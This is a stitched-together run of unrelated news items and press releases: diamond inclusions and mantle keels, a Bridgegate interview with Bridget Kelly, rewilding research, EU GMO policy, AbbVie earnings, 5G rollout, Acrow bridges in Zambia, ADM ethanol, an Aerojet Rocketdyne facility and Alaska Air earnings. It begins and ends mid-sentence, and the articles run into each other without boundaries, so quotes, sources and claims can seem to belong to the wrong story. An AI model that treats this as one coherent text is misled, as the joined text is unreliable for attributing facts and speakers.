originate deep inside the Earth, tiny mineral grains trapped inside of a diamond, often considered undesirable in the gem trade, can reveal details about the conditions under which it formed. "In this way, diamonds act as mineralogical emissaries from the Earth's depths," explained Carnegie co-author Steve Shirey. About 150 to 200 kilometers, 93 to 124 miles, beneath the surface, geologic formations called mantle keels act as stabilizers for the continental crust. The material that comprises them must thicken, stabilize, and cool under the continent to form a strong, buoyant, keel that is fundamental for preserving the surface landmass against the relentless destructive forces of Earth's tectonic activity. But how this is accomplished has been a matter of debate in the scientific community. "Solving this mystery is key to understanding how the continents came to exist in their current incarnations and how they survive on an active planet," Shirey explained. "Since this is the only tectonically active, rocky planet that we know, understanding the geology of how our continents formed is a crucial part of discerning what makes Earth habitable." Some scientists think mantle keels form by a process called subduction, by which oceanic plates sink from the Earth's surface into its depths when one tectonic plate slides beneath another. Others think keels are created by a vertical process in which plumes of hot magma rise from much deeper in the Earth. A geochemical tool that can detect whether the source of a mantle keel's makeup originated from surface plates or from upwelling of deeper mantle material was needed to help resolve this debate. Luckily, mantle keels have the ideal conditions for diamond formation. This means scientists can reveal a mantle keel's origin by studying inclusions from diamonds that formed in it. The research group's analysis of sulfur-rich minerals, called sulfides, in diamonds mined in Sierra Leone indicate that the region experienced two subduction events during its history. They were able to make this determination because the chemistry of the sulfide mineral grains is only seen in samples from Earth's surface more than 2.5 billion years ago--before oxygen became so abundant in our planet's atmosphere. This means that the sulfur in these mineral inclusions must have once existed on the Earth's surface and was then drawn down into the mantle by subduction. The team's comparison to diamonds from Botswana showed similar evidence of keel-creation through subduction. But comparison to diamonds mined from northern Canada does not show the same sulfur chemistry, meaning that the mantle keel in this region originated in some way that did not incorporate surface material. The group's findings suggest that thickening and stabilization of the mantle keel beneath the West African continent happened when this section of mantle was squeezed by collision with the sinking ocean floor material. This method of keel thickening and continent stabilization is not responsible for forming the keel under a portion of northern Canada. The sulfide minerals inside Canadian diamonds do not tell the researchers how this keel formed, only how it didn't. "Our work shows that sulfide inclusions in diamonds are a powerful tool to investigate continent construction processes," Smit concluded. ### This work was supported by the GIA, the University of Alberta, the NSF, and Carnegie. It is a contribution to the Deep Carbon Observatory. On Wednesday, Bridget Anne Kelly, who served as a top aide to former New Jersey Governer Chris Christie, was sentenced to 13 months in prison for her role in the 2013 Bridgegate scandal. A jury in 2016 found her guilty of conspiring to close the lanes to the George Washington Bridge in order to cause days of traffic in the town of Fort Lee, where the bridge sits. The five-day gridlock was the center of a revenge plot against the mayor of Fort Lee, who had not endorsed Christie's reelection. Kelly's co-defendant, Bill Baroni, reported to prison earlier this month, and the admitted mastermind of the scheme, David Wildstein, cooperated with prosecutors and avoided prison. Christie was never charged; he has always denied any involvement with Bridgegate or the cover-up, and in statements to the media this week he reiterated that. Now, out on bail, Kelly is waiting to hear whether the Supreme Court takes her case. And for the first time since 2013, when she wrote the infamous "time for some traffic problems in Fort Lee" email that broke the scandal wide open, she is talking to the press. Kelly sat down with reporter Matt Katz, who was the first journalist to ask Christie about Bridgegate, at WNYC on Friday. This conversation was edited for clarity and brevity. I've been covering this story for 5 years and I have never sat down with you for a taped interview. But the case isn't overyou're still appealing to the Supreme Court. So I was first wondering why you're going on this public offensive right now, why you're going out trying to tell your story at this moment? I felt that if this is my sentence now and it looks like I may be going to prison this summer, I need to talk now. Because I can't be sitting somewhere away from my children, away from my family, and not have done and said everything I need to say. I think there was a lot that was missed and a lot that was maybe not heard in the courtroom. So I think it's just time to tell more [about] the situation. Because to call it a story would be to minimize it. It's actually my life. Does the media attention also help to drum up attention so perhaps President Trump considers a pardon or maybe there's enough attention that the Supreme Court accepts the case and considers the appeal? Is that part of the media strategy? I like that you think that I could be that calculated, but this is therapeutic for me. I have been intimidated, I have been silenced for so long. And the minute I start calling out the bullies for who they are, or who he is, I'm now going to get attacked. But I got beaten up basically for 5 1/2 years. And because I haven't talked for 5 years, my former boss, [Chris Christie], has a platform. He has you know a contract at a major news station [ABC]. He wrote a book ["Let Me Finish"]. He's a pundit everywhere. So he's beaten me up. Listen, I'd rather he not talk about me, but it's finally my turn to talk. What were you thinking when you wrote "it's time for some traffic problems in Fort Lee"? David Wildstein at the Port Authority was one of the governor's top appointees there. He had told me early in the summer that the Port Authority wanted to do a traffic study because Fort Lee has three lanes that allows 5 percent of the commuters to travel [onto the George Washington Bridge]. Ninety-five percent of the commuters use nine lanes. So he had called me mid-August [2013] to ask if I had mentioned it to the governor about the traffic study. I mentioned it to the governor on August 12th. And [Christie] told me, "Let the Port Authority do what they're going to do," [and] "Let David do what he's gonna do." And on the 13th I sent the email. One of the effects of this traffic study was going to be this tremendous, treacherous traffic in Fort Lee. But David assured me the Port Authority would handle it and that we may hear some incoming from the mayor and elected officials but they'll handle itthey'll handle it, this is their traffic study. Because David used the [phrase] "traffic problems," I mimicked him. I didn't have the power to approve a traffic study, let alone know what I was approving. I just let David know that I had spoken to the governor. And again, I should have worded it differently, but that's what I did. I mimicked David's words, and here we are. Listen to part of Matt Katz's interview with Bridget Kelly on WNYC: Well, no, because [Fort Lee] Mayor [Mark] SokolichI don't know him. So I didn't know that there was a poor relationship with Mayor Sokolich. I worked in an office full of a lot of very egomaniacal men, and I know you know what I'm talking about. A lot of these menand there weren't a whole lot of womena lot of these men wanted to be validated. And David was one of them. David liked to be right. And part of that other message, I believe, was that the traffic was moving quicker, that I-95 had opened up. So is it wrong that I'm smiling? is not about Mayor Mark Sokolich. That was about David being right [that other lanes on the bridge would have less traffic]. David wanted validation from everyone, whether it was a low level staffer like me or Chris Christie. If David and the Port Authority and perhaps Governor Christie had an issue with Mark Sokolich, I wasn't aware of it. I come to know obviously through this whole thing clearly there is something more here. But you know text messages and emails don't give you full context. And that's where we are. I feel badly about the kidsI did feel badly about the children. I would have never, as a parent, said to David, Yeah go ahead with a traffic study the first week of school. Oh, and on September 11th. I'm not a callous individual. I guess was not in response to I feel badly about the kids. There's so much more context to those conversations that on their surface, I get it, and I wish I had chosen different words and not answered in such haste. And that's one huge lesson from this that I have taught my kids is: Think about what you're gonna type. Because it doesn't go away. It never goes away. Can you just describe your conversations with Christie about this? August 12thwhen I just let him know. And on the week of the lane realignment, on September 11th, the governor came into my office after the 9/11 Memorial [ceremony]. So I said to the governor, Hey, you know this Fort Lee issue, the mayor is really upset. And he told me to let Wildstein handle it. And I mean that was the extent of it. The next day, [the Seaside Park boardwalk] was on fire. [Christie] tells me to get in the car with him, and we travel down to Seaside. It was that during that time frame that I told him that the mayor was still upset and he said, Let Wildstein handle it. So in my mind, like, what more can I do? He's the governor of the state in New Jersey. If I could go back I would have asked more questions, I would have perhaps called the Mayor [of Fort Lee] myself. But you know, that's all done now, and I'm going to jail. But the governor knew and what I wish he would do is just acknowledge the fact that I told him about the traffic study. But he wanted no part of it. Governor Christie and Bridget Anne Kelly in Seaside Heights, September 2013 (NJ Governor's Office) There were many times where he was lovely, charming, so kind to me, always acknowledged and appreciated the fact that I was a single mom with four kids. Oh and by the way I commuted 2 1/2 hours every day to my job. So he was generous in the sense that: I get it you got to get home, how are the kids? Very, very friendly in that sense. But when the switch flipped, the switch flipped. [Following a fire on the Seaside Heights boardwalk], the governor says, Listen, let's get all the business owners in a room with all the department heads that can help them rebuild. So I put the meeting together. The plan was he was going to do a boardwalk walk, which you know he liked to do. And we go to the wrong place. So he's not happy. And he's like, How the hell is this day going to go? How the hell is this meeting gonna go? I said: I have X Y and ZI named all the departments there. I said, We have business owners from 15 businesses, the room is set up in a U. And he was like, Fine. So that was that. We get in there and we're in the ante room. And he was across the table from me. And he's like, All right, now what am I doing? And I said, Governor, you're gonna go in, you're going to introduce the department heads that are here, they're going to speak to the programs [to help the businesses affected by the fire], maybe take any questions. He goes: I'm not a fucking game show host. And he threw the water bottle across the table, airborne, and it skimmed my arm. He went out [to the meeting], and it was like he flipped a switch and he was charming as can be. And he wasn't a game show host. He was the governor. You gave this statement after resentencing. I tweeted it out. And then one of [Christies] old friends and political advisors, Bill Palatucci, tweeted back to me: The government didn't believe her. The jury didn't believe her. The judge didn't believe her. Given that, why should we believe what youre saying now? Because there's more questions than there are answers. And I have no reason to tell anything other than the truth. I could have said the governor, you know, they wanted to punish the mayor. I could have made up a really good story and gone with it. But I didn't. My portfolio didn't include, you know, approval of traffic studies. I couldn't even order food for the [governors luxury] box at the Meadowlands or the Prudential Center without the governor's approval. I would have to show him the menu and he would help me choose the food. So if you think that I'm closing the lanes of the bridge or closing the George Washington Bridge, it's absurd. I didn't have that power. One of the things [Christie] did is commission this approximately $11 million Mastro Report. This internal investigation ordered by Christie, paid for by taxpayers, was widely derided as quoteand excuse my languagethe slut-shaming of Bridget Kelly. It said that you were somehow upset about having recently been dumped by Christie's former campaign manager, and you were not in maybe your right emotional state and that's why you would have done something like this. What was your immediate reaction if you remember after reading this? It was visceral. First of all I've been through much worse than you know a romantic breakup and I didn't realign lanes at the George Washington Bridge [because of it]. There was a lot more said about me that was just so wrong and so hurtful, and it was designed to do so. I think it was designed to scare me. And it did, because it showed me the power of these people. Listen, I was low hanging fruit. Unfortunately, it was a year too early for what has become #MeToo movement, because it falls square into that. Bill [Stepien] and I went out for a couple weeks. Big deal. That was the extent of it. It's not that I was heartbroken, and certainly if I was it's not coming to work with me. It's almost laughable now, if it didn't cost $11 million. At the time that I was like bottom-of-the-barrel depressed, so scared, and now you're gonna do this to me, too? So they've done a lot of damage, and a lot of it is irreversible. You described this week in another interview being driven out of your house after this all broke. What was that about? My entire front lawn, front porch and my entire street I live on, one of the busiest streets in town, was covered with reporters, blanketed, so I couldn't pull up my driveway. So I went to my mom's, and her whole street is covered with reporters. I didn't know there were that many reporters. Matt, I gotta tell you, it was ridiculous. So I called the mayor at the time in Ramsey (New Jersey) and I asked him to please call the police chief to make sure my kids are safe. It was surreal. I stayed at my aunt's for three days, and, then, at the advice of my first attorney I moved down to the shore, where I remained for about 10 to 12 days because I couldn't go home. My kids had to sneak in with my brother in the back door [of our house] with flashlights to get essentials. It was horrible. My dad had to put up blinds in my kitchen because people were parked on the backstreet with cameras. Kids were being followed to and from school. My daughter crashed her car in our driveway the day we came home because a photographer jumped out from behind a tree and she swerved to miss him$5,000 damage to a brand new car. She had just gotten her license. Have you worked at all [since the scandal broke]? Little things here and there. People still are scared. They're not scared to hire Bridget Kelly. People are afraid because they don't know what others could do, and I've been told that. Others being Chris Christie and his allies? Yeah. How are you preparing your kids for the now very real possibility that you're going to jail, barring [a pardon by President] Trump or a Supreme Court ruling? I don't know that you can ever fully prepare. We're just spending time together and doing our best every day. They know that we have such a large community of family and friends that they'll be well taken care of. But we're gonna miss each other terribly. Matt Katz reports on air at WNYC about immigration, refugees and national security. He wrote a book about Christie and Bridgegate called "American Governor: Chris Christie's Bridge to Redemption." You can follow him on Twitter at @mattkatz00. Regardless of whether we are dealing with a floodplain landscape or an entire national park, the success of a restoration project depends on more than just the reintroduction of individual plant or animal species into an area. An international team of researchers led by Martin Luther University Halle-Wittenberg (MLU) and the German Centre for Integrative Biodiversity Research (iDiv) Halle-Jena-Leipzig reveals it is more a matter of helping the damaged ecosystem to regenerate and sustain itself. In the current issue of the journal Science the researchers describe how rewilding measures can be better planned and implemented - and the benefits this can have on humans. Nature has been severely affected around the world by the construction of cities, roads and factories as well as intensive farming practices. Entire ecosystems have been destroyed, resulting in a continuous decline in biodiversity. "As a result, many ecosystems are no longer able to perform important tasks such as flood regulation," says Professor Henrique Pereira of MLU and iDiv. For several decades projects have been conducted around the world that aim to recreate regions that are as near to nature as possible. A well-known approach is so-called rewilding. "Rewilding focuses on the ecosystem as a whole and attempts to restore its functionality through targeted measures, allowing the ecosystem to sustain itself with little or no human management," explains lead author Andrea Perino, who is working on her doctorate in Pereira's research group. At the same time, rewilding also serves to make the aesthetic and intangible value of nature accessible to people. A prime example of a successful rewilding project in Germany is the Oder river delta at Szczecin Lagoon located along the Baltic coast between Germany and Poland. Many animals live here in the wild, including white-tailed eagles, bison and beavers. A vibrant nature tourism industry has developed in the area in recent years. "This is a good example of how rewilding can create both environmental and social benefits," says Perino. In their article in Science, the researchers present a type of blueprint on how to plan and carry out rewilding projects. Above all, they call for a shift in perspective: there is no one ideal ecosystem that can be created through specific measures. Instead, it is much more important to examine the functions of the respective ecosystem, analyse the disturbances in this system and derive a range of measures to restore the processes that have been disrupted, while at the same time minimizing human intervention. In a floodplain landscape, for example, this could be achieved by removing dams that are no longer needed, thereby submerging at least part of the landscape. This could create a habitat for animals and plants that were previously displaced by humans. It is important to factor in geographical and social possibilities. "Rewilding projects must always involve the local population," explains Perino. Otherwise, the projects will have no chance of success. A compromise always needs to be made between what is theoretically possible and what is actually feasible. Not every region is suitable for all rewilding measures: "It is not about directing all your energies towards the specific objective of creating an ideal ecosystem. Ecosystems are dynamic and therefore measures also have to be dynamic." ### The EU's policy on GMO is extremely strict and prevents new GMO crops from being authorized. The policy is based on arguments about the risk and unnaturalness of GMO plants - but these arguments cannot justify the restrictive regulation, three researchers conclude in a new study in the journal Transgenic Research. They also conclude that the use of GMO plants is consistent with the principles of organic farming. The EU's rules on genetically modified organisms (GMO) are so restrictive that it is virtually impossible to get an authorization for cultivating a GMO crop within the EU--which means that only one GMO crop has hitherto been authorized in the EU. And even if a GMO crop is authorized, individual member states may still ban the crop. This is untenable, argue three researchers from the University of Copenhagen and the Technical University of Denmark in a new article in the scientific journal Transgenic Research, because EU regulation may stand in the way of important agricultural innovation that could provide more sustainable and climate-friendly solutions - and because the strict regulation cannot be justified. "If we compare the pre-authorization procedure that GMO products undergo with those for conventionally cultivated crops, it is clear that GMO's are required to meet much stricter demands - with reference to the supposed risks that GMO crops pose. But the fact that a crop has been genetically modified does not in itself pose a risk. If there is risk involved, it is connected to the act of introducing a new variety with unfamiliar traits, which may have adverse effects on the environment or the health of humans and animals," explains postdoc Andreas Christiansen, who has co-authored the article "Are current EU policies on GMO justified?" with Professor Klemens Kappel and Associate Professor Martin Marchman Andersen. He continues: "It is crucial to understand that the introduction of new varieties with compositional differences always poses a risk whether they are genetically modified or not. Our point is that GMO crops should not be treated differently than similar products when the risks they pose to the environment and people are comparable. This is the reason GMO crops have been regulated as other novel varieties in the US for years." When is a plant natural? In a 2010 Eurobarometer survey, 70 per cent of Europeans agreed "that GMO food is fundamentally unnatural". Unnaturalness is a common argument against GMO crops and foods, and it is mentioned specifically in EU legislation. What the researchers are trying to ascertain is whether the kind of "unnaturalness" which GMO's supposedly possess can justify bans and restrictive legislation. "Unnaturalness, firstly, has many different meanings so even though there are cogent arguments that GMO's in some respects are more unnatural than non-GMO's, there are also cogent arguments that many GMO's are just as natural or unnatural as their conventional counterparts," says Andreas Christiansen. "One of the arguments is that the more changes human beings have made to a plant, the more unnatural it is. This makes a GMO more unnatural in the sense that it has been subjected to at least one more change than the conventionally bred plant upon which it is based. The conventionally bred plant, conversely, is much more unnatural than its wild ancestor, and has mutated so many times that it may in some cases be difficult to see any relation between to two. It is, in other words, really difficult to construct a solid argument to the effect that the distinction between natural and unnatural can warrant stricter regulation of GMO's - even if we consider the best philosophical arguments for the value of nature and naturalness" Andreas Christiansen points out. According to the researchers, many novel gene editing technologies, such as CRISPR/Cas9, are much more precise and cause fewer alterations in plants than traditional breeding methods, in which plant seeds e.g. are washed with chemicals in order to provoke mutations. CRISPR/Cas9 is nonetheless also included in the restrictive EU legislation whereas the chemically induced breeding is not. GMO produces higher yields than organic farming Naturalness and organic farming are often thought of as synonymous, and the desire to promote organic farming has been used as an argument for curbing the use of GMO's, which is prohibited in organic farming. But can a wish to promote organic farming justify a ban on GMO's? "Even if we accept that organic farming is superior because it is more sustainable or environmentally friendly, it will be difficult to justify the restrictive policy on GMO, because at least some GMO's are consistent with these aims of organic farming. And what's more, current GMO's are at least as good as conventional farming in terms of sustainability, so it would not make sense to impose stricter regulation on GMO's than conventional farming as far as sustainability goes," Andreas Christiansen explains. "But we must also ask ourselves whether organic farming is always better than the alternatives. In one very important respect, GMO may be superior to organic farming: it can produce higher yields without putting more strain on the environment, which will make it possible to increase food production without increasing the area of land used for farming. This will be extremely important if we are to meet projected future food needs." ### Read the article "Are current EU policies on GMO justified?" in Transgenic Research. Read more about the research project Convergent ethics and the ethics of controversy (CEEC) at the University of Copenhagen (https://mcc.ku.dk/research/focus-areas/ceec/), which investigates questions of ethics and regulation of new biotechnologies. Contact Postdoc Andreas Christiansen Department of Media, Cognition and Communication University of Copenhagen Phone: +45 61 69 86 66 Mail: christiansen@hum.ku.dk Professor Klemens Kappel Department of Media, Cognition and Communication University of Copenhagen Phone: + 45 26 19 43 18 Mail: kappenl@hum.ku.dk Associate Professor Martin Marchman Andersen Technical University of Denmark Phone: + 45 20 83 14 75 Mail: mamaa@dtu.dk By Tamara Mathias (Reuters) - AbbVie Inc's better-than-expected quarterly profit and revenue and raised full-year earnings forecast failed to impress investors who focused on the uncertainty around its blockbuster drug Humira as it struggles against cheaper rivals. The company's shares fell as much as 2.2 percent to $76.91. "The results or guidance raise do not fundamentally change the story, in our view, as concerns around Humira's longevity remain," Credit Suisse analyst Vamil Divan said. Sales of Humira, which treats rheumatoid arthritis and psoriasis, have accounted for the bulk of AbbVie's total revenue for years. However, revenue from the drug fell for the first time in years in the January-March quarter. The company is under pressure to demonstrate it can compensate for the expected drop in revenue from Humira when it loses patent protection in the United States, its biggest market, in 2023, by successfully launching new medicines and adding innovative treatments to its pipeline. On a conference call with analysts, the company said the impact new rivals in Europe are having on Humira sales is as expected. In the first quarter, Humira brought in sales of $4.45 billion, a fall of 5.6 percent from last year but ahead of the $4.38 billion forecast by eight analysts polled by Refinitiv. AbbVie executives talked up Skyrizi, a psoriasis treatment that won U.S. approval earlier this week which it hopes will help it retain its hold on the market. "We're pretty comfortable with how the biosimilars are sorting themselves out," Chief Executive Officer Richard Gonzalez said on the call. "I would expect that you will start to see Humira slow somewhat in the psoriasis category as Skyrizi starts to ramp in a very significant way." Skyrizi is likely to contribute about $150 million to 2019 revenue, Gonzalez added. AbbVie raised its adjusted earnings forecast for the year to between $8.73 and $8.83 per share, from $8.65 to $8.75 and said it expected continued business momentum to drive growth. Excluding items, the company earned $2.14 per share, beating estimates of $2.05, according to IBES data from Refinitiv. Net revenue dropped 1.3 percent to $7.83 billion but beat the average analyst estimate of $7.75 billion. AbbVie's net earnings fell to $2.46 billion in the three months ended March 31, from $2.78 billion a year earlier. (Reporting by Tamara Mathias in Bengaluru; Editing by Maju Samuel) U.S. customers are getting their first taste of fifth-generation wireless technology and more will soon as other carriers launch their own networks in the upcoming weeks, but pitfalls loom for the early entrants as countries around the world race to roll out the offering. Verizon and AT&T have both initiated 5G service in select cities across the U.S. and are planning to quickly expand the offering. Verizon on Thursday added 20 more cities to its launch plans for 2019 including Dallas; Atlanta; Washington D.C.; Kansas City, Missouri; and San Diego. Meanwhile, Sprint and AT&T are both expected to turn on their networks in the near future. The race is on, Tommi Uitto, president of mobile networks at Nokia, told reporters on Thursday. We are on the verge of something much, much bigger than 3G and 4G were. And I think 5G has the ingredients to have a much more profound impact on society and businesses. But while consumers will be able to enjoy the faster speeds and lower latency that underscore the immense promise that 5G holds, much like the roll-out of the prior 4G networks the initial launches are likely to be more of a testing ground as companies seek to improve their products based on real-world experience. Verizon, for example, faced some criticism over its 5G launch in Minneapolis and Chicago after the network failed to consistently deliver the promised speeds. Now, the New York City-based company is offering the service for free, after seeking an additional $10 per month. This is a thank you and a value-add for early adopters and first-to-5G customers, a company spokesman told FOX Business. The first 5G phone is not yet available, but when the Samsung Galaxy S10 5G launches in May those Verizon customers with unlimited data plans will have the $10 fee waived. Those individuals that purchased the modem-attachment to make the Moto Z3 compatible with 5G networks with an unlimited data plan will also get the first three months free. Story continues U.S. carriers have been eager to blast each other as they all race to introduce the offering, and Verizons early struggles gave other companies an opportunity to take veiled swipes and tout their own networks. We are the only operator thats able to actually replicate our 5G and our coverage exactly the same as LTE, John Saw, chief technology officer at Sprint, said on Wednesday at a recent industry conference hosted by New York University. We have purposefully gone in there and made sure that we have ubiquitous 5G coverage so that you can actually see your 5G icon for more than a few seconds. Saw cautioned, however, that the U.S. is a long way from realizing the full dreams of 5G. While consumers will experience the benefits of the advanced networks, experts say the real advantages will be felt by industries like health care and auto manufacturing. The LTE network paved the way for the rise of companies like Uber and Snapchat, spurring hope that as the technology matures it will bring with it a rush of new innovations, from remote surgery to driverless cars. Prior networks have "only been about enabling people to call one another or access the internet wirelessly, whereas 5G has all the ingredients for automating business processes, especially in the physical industries," Uitto said. CLICK HERE TO GET THE FOX BUSINESS APP But experts say the key to its success will be available spectrum, or the frequencies over which the wireless communications travel. T-Mobile and Sprint have used it as a key reason to push regulators to approve their $26.5 billion merger, a deal which appears to be meeting heavy resistance from the Trump administration. The race to 5G or the success of 5G is all about having unencumbered spectrum that is not used for LTE, Saw said. That is the whole rationale for why we are excited about the merger. Related Articles Comprehensive Bridge Development Program model includes structured financing arranged by Acrow as well as full training of Zambian engineers, technicians and contractors for on-site installations PARSIPPANY, N.J., April 25, 2019 (GLOBE NEWSWIRE) -- Acrow Bridge , a leading international bridge engineering and supply company, has announced the shipment of more than 130 bridges to the Road Development Agency of the Republic of Zambia. Installation of the structures will be carried out exclusively by Zambian engineers, technicians and contractors, who will be trained in the field by Acrow on the assembly, installation and maintenance of this critical bridge infrastructure. The bridges will contribute to the integration of remote rural communities into the broader domestic and regional economy and will enhance access to basic services. The bridges supplied are comprised of single and multi-span structures of one- and two-lane widths, ranging from 12 meters to more than 100 meters in length. The structures will be installed throughout the country by the local Zambian workforce. For over 60 years, Acrow has provided infrastructure solutions to more than 80 countries. During the past two decades, it has supplied more than 20 African nations with more than 1,000 bridges. Through its Comprehensive Bridge Development Program model, Acrow has implemented a number of large financed infrastructure development projects in Africa, including the supply of more than 150 bridges to the Government of Angola, 100 bridges to the Department of Feeder Roads in Ghana and most recently, 44 bridges to the Government of Cameroon. An important part of these projects has been the extensive skills transfer to local trainees. Acrow Bridge is an ideal partner for large-scale financed infrastructure development projects. Leveraging a global network of financial institutions and other sources of capital, Acrow can arrange financing for qualified bridge projects and facilitate the process of securing export credit guarantees and other development finance arrangements. Acrows project in Zambia drew upon export credit guarantees issued by Export-Import Bank of the United States. Story continues The modular design of the structures allows for the easy customization of each bridge to meet specific requirements as well as fast installation performed in days to weeks utilizing the local workforce and minimal heavy equipment, enabling bridges to be erected in challenging, remote locations. Fabricated in the U.S. from high-strength, high-quality U.S. steel and hot-dip zinc galvanized to protect against corrosion, Acrow bridges are durable and permanent infrastructure solutions designed to withstand even the most rugged of conditions with a service life of 75 years or more. Bridging is an important infrastructure asset in sub-Saharan Africa, particularly for the support and development of agriculture as well as the integration of remote rural communities into the broader domestic and regional economy, said Paul Sullivan, Senior Vice President International at Acrow Bridge. This important project demonstrates Acrow's commitment to providing high-quality bridge infrastructure solutions with a special focus on local skills development. Bill Killeen, CEO of Acrow Bridge, added, Our partnership with the Zambian Government will provide the countrys citizens and businesses with strong and durable bridges, made of American steel and manufactured in the United States to the finest international quality standards. We are eager to continue to partner with Sub-Saharan African nations to support sustainable infrastructure development, a cornerstone of trade competitiveness locally and globally. About Acrow Bridge Acrow Bridge has been serving the transportation and construction industries for more than 60 years with a full line of modular steel bridging solutions for vehicle, rail, military and pedestrian use. Acrows extensive international presence includes its leadership in the development and implementation of bridge infrastructure projects in over 80 countries, covering Africa, Asia, the Americas, Europe and the Middle East. For more information, please visit www.acrow.com. Contact: Tracy Van Buskirk Marketcom PR Main: (212) 537-5177, ext. 8 Mobile: (203) 246-6165 tvanbuskirk@marketcompr.com FILE PHOTO: A gas pump selling E15, a gasoline with 15 percent of ethanol, is seen in Mason City FILE PHOTO: A gas pump selling E15, a gasoline with 15 percent of ethanol, is seen in Mason City, Iowa, United States, May 18, 2015. REUTERS/Jim Young/File Photo By Chris Prentice, Jarrett Renshaw and P.J. Huffstutter NEW YORK/CHICAGO (Reuters) - Biofuels pioneer Archer Daniels Midland took another step toward abandoning its pure-play ethanol assets on Friday, the latest sign of the industry's struggles with U.S. President Donald Trump's trade wars, thin margins, and overproduction. U.S. law requires ethanol to be blended into gasoline but domestic demand for the biofuel added to gasoline has flatlined in recent years as consumers have opted for greater fuel-efficiency and electric vehicles. Ethanol producers have been forced to look abroad for demand growth. They had banked on China to buy excess capacity, but punitive tariffs in the last two years have halted buying, exacerbating the industry's substantial overcapacity. ADM executives acknowledged that problem on Friday when the company reported that profit tumbled 41 percent in the first quarter. ADM said it may spin off three large dry mills, which primarily produce only ethanol, after unsuccessfully searching for a buyer for those mills since 2016. At the time, its move to exit ethanol shocked the industry due to ADM's status as a leading biofuels producer. ADM Chief Financial Officer Ray Young said on an earnings call that the industry must stop the self-inflicted wounds. "Our decision to monetize the dry mills is frankly a strategic decision on our part to basically help the industry consolidate," Young said. Last week, U.S. ethanol production hit 1.05 million barrels per day, highest in at least five years seasonally, according to U.S. Energy Information Administration data. Inventories climbed to 22.75 million barrels, not far from the record of 24.45 million hit in March. Producers such as Green Plains and Pacific Ethanol have laid off workers and idled or sold plants to stay afloat during the sustained downturn. Ethanol prices are down 42 percent in the last five years, while Green Plains and Pacific Ethanol have seen their shares fall 33 percent and 92 percent, respectively, in that time. Story continues "We don't have a demand problem as much as we have a supply problem. There are just too many inefficient plants out there, and they need to go before we see a rebound," said one ethanol trader on Friday. "It's not like we are producing DVDs or CDs that no one wants." China emerged in 2015 as a significant buyer for the first time, and subsequent plans to use ethanol in gasoline nationwide by 2020 raised hopes that the world's second largest economy would scoop up excess U.S. supply. But Beijing hiked import taxes on the biofuel in 2017, and then twice in 2018 as the United States and China ratcheted up the stakes in a trade war that has killed demand for U.S. imports. The two countries are still negotiating a trade deal that would end the tariff conflict. Young said margins will improve with resolution of the trade dispute and purchase commitments from China expected to accompany any pact. Still, some say that will be a temporary boost. "Exports may provide some temporary relief," said Scott Irwin, an agricultural economist at the University of Illinois. "(But) without substantial growth from higher ethanol blends you are looking at situation where the U.S. ethanol industry has to shrink" over the next 5-10 years." (Reporting by Chris Prentice, Jarrett Renshaw and P.J. Huffstutter; Editing by David Gregorio) New facility to develop large solid rocket motors Will be the newest and most modern rocket development facility in the nation Latest chapter of ongoing partnership with state and local community CAMDEN, Ark., April 25, 2019 (GLOBE NEWSWIRE) -- Senior Aerojet Rocketdyne officials joined Arkansas State and local leaders to break ground today on the latest facility in a continuing expansion of the companys Camden, Arkansas, solid rocket motor center of excellence. The 17,000 square-foot Engineering, Manufacturing and Development (EMD) facility, set to open in spring 2020, will expand our decades-long capability of solid rocket motor production in Camden. The facility was specifically designed to serve as the developmental gateway to future Aerojet Rocketdyne large solid rocket motor product opportunities, to include the Ground Based Strategic Deterrent program, hypersonics and missile defense targets. Once open for business, the Engineering, Manufacturing and Development facility will be the newest and most modern rocket development facility in the nation, said Eileen Drake, Aerojet Rocketdynes CEO and president. The expansion represents the latest chapter of Aerojet Rocketdynes ongoing partnership with the Arkansas Economic Development Commission, Calhoun County and the Ouachita Partnership for Economic Development. The aerospace and defense industry continues to be one of the top economic drivers in Arkansas, said Gov. Asa Hutchinson, and that wouldnt happen without the incredible workforce and their employers. Were thrilled to see Aerojet Rocketdyne continue to grow in Camden, and we appreciate the investments they make in South Arkansas and in our nations security. Aerojet Rocketdyne has had a presence in Arkansas since 1979 and its current 800-person workforce manufactures 75,000 solid rocket motors annually for programs, including tactical missiles and missile defense. In August of last year, Aerojet Rocketdyne announced plans to further grow the workforce to 900 over the next three years. Story continues Our longstanding partnership with the great state of Arkansas continues to yield impressive results, Drake said. On behalf of the men and women of Aerojet Rocketdyne, I thank Arkansas State and local officials, especially Gov. Asa Hutchinson, for helping us build increasingly advanced and affordable products for our warfighters and the nation. About Aerojet Rocketdyne: Aerojet Rocketdyne, a subsidiary of Aerojet Rocketdyne Holdings, Inc. (AJRD), is a world-recognized aerospace and defense leader that provides propulsion systems and energetics to the space, missile defense and strategic systems, and tactical systems areas, in support of domestic and international customers. For more information, visit www.Rocket.com and www.AerojetRocketdyne.com. Follow Aerojet Rocketdyne and CEO Eileen Drake on Twitter at @AerojetRdyne and @DrakeEileen. Media Contacts: Bill Bigelow, Aerojet Rocketdyne, 256-513-2138 william.bigelow@rocket.com Eileen Lainez, Aerojet Rocketdyne, 703-650-0291 eileen.lainez@rocket.com A photo accompanying this announcement is available at http://www.globenewswire.com/NewsRoom/AttachmentNg/622a2239-f995-4539-ac23-4817a78c7733 Alaska Air Group (ALK) came out with quarterly earnings of $0.17 per share, beating the Zacks Consensus Estimate of $0.13 per share. This compares to earnings of $0.14 per share a year ago. These figures are adjusted for non-recurring items. This quarterly report represents an earnings surprise of 30.77%. A quarter ago, it was expected that this airline would post earnings of $0.73 per share when it actually produced earnings of $0.75, delivering a surprise of 2.74%. Over the last four quarters, the company has surpassed consensus EPS estimates four times. Alaska Air, which belongs to the Zacks Transportation - Airline industry, posted revenues of $1.88 billion for the quarter ended March 2019, surpassing the Zacks Consensus Estimate by 0.16%. This compares to year-ago revenues of $1.83 billion. The company has topped consensus revenue estimates three times over the last four quarters. The sustainability of the stock's immediate price movement based on the recently-released numbers and future earnings expectations will mostly depend on management's commentary on the earnings call. Alaska Air shares have lost about 0.1% since the beginning of the year versus the S&P 500's gain of 16.8%. What's Next for Alaska Air? While Alaska Air has underperformed the market so far this year, the question that comes to investors' minds is: what's next for the stock? There are no easy answers to this key question, but one reliable measure that can help investors address this is the company's earnings outlook. Not only does this include current consensus earnings expectations for the coming quarter(s), but also how these expectations have changed lately. Empirical research shows a strong correlation between near-term stock movements and trends in earnings estimate revisions. Investors can track such revisions by themselves or rely on a tried-and-tested rating tool like the Zacks Rank, which has an impressive track record of harnessing the power of earnings estimate revisions. Story continues Ahead of this earnings release, the estimate revisions trend for Alaska Air was unfavorable. While the magnitude and direction of estimate revisions could change following the company's just-released earnings 